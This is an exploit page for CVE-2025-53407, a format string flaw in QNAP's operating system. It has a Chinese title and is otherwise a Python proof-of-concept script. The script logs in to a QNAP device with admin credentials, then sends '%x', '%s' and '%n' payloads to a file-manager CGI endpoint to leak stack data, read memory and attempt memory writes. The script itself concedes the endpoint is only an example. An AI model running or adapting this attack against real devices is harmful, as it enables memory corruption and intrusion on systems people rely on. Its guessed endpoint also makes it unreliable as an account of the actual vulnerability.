CVE-2025-53407 QNAP操作系统外部控制格式字符串漏洞

# CVE-2025-53407 - QNAP Format String Vulnerability PoC # This PoC demonstrates the concept of exploiting externally-controlled format string # Note: Exploitation requires valid administrator credentials import requests import sys TARGET_URL = "https://<qnap-host>:8080" ADMIN_USER = "admin" ADMIN_PASS = "<admin_password>" # Attacker must already have admin credentials def login(session, base_url, username, password): """Authenticate to QNAP device and obtain session cookie.""" login_url = f"{base_url}/cgi-bin/authLogin.cgi" payload = { "user": username, "pwd": password } resp = session.post(login_url, data=payload, verify=False) if resp.status_code == 200: print("[+] Login successful") return True print("[-] Login failed") return False def exploit_format_string(session, base_url, format_payload): """ Send malicious format string payload to vulnerable endpoint. The vulnerability exists when user input is passed directly as the format string argument to printf-family functions. """ # Example vulnerable endpoint - actual endpoint may vary vuln_url = f"{base_url}/cgi-bin/filemanager/index.html" # Inject format specifiers into a parameter that gets passed to printf params = { "name": format_payload, # Externally-controlled format string "action": "list" } resp = session.get(vuln_url, params=params, verify=False) return resp.text def main(): session = requests.Session() # Step 1: Login with admin credentials (prerequisite) if not login(session, TARGET_URL, ADMIN_USER, ADMIN_PASS): sys.exit(1) # Step 2: Probe for format string vulnerability - read stack values print("[*] Probing stack memory with %x format specifiers...") probe_payload = "%x.%x.%x.%x.%x.%x.%x.%x" result = exploit_format_string(session, TARGET_URL, probe_payload) print(f"[+] Stack leak: {result}") # Step 3: Read memory addresses with %s print("[*] Attempting to read memory with %s format specifier...") read_payload = "%s%s%s%s%s%s%s%s%s%s" result = exploit_format_string(session, TARGET_URL, read_payload) print(f"[+] Memory read result: {result}") # Step 4: Attempt memory write with %n (use with caution) # %n writes the number of bytes printed so far to the address on the stack print("[*] Attempting memory modification with %n...") write_payload = "%n%n%n%n" result = exploit_format_string(session, TARGET_URL, write_payload) print(f"[+] Memory modification result: {result}") if __name__ == "__main__": main()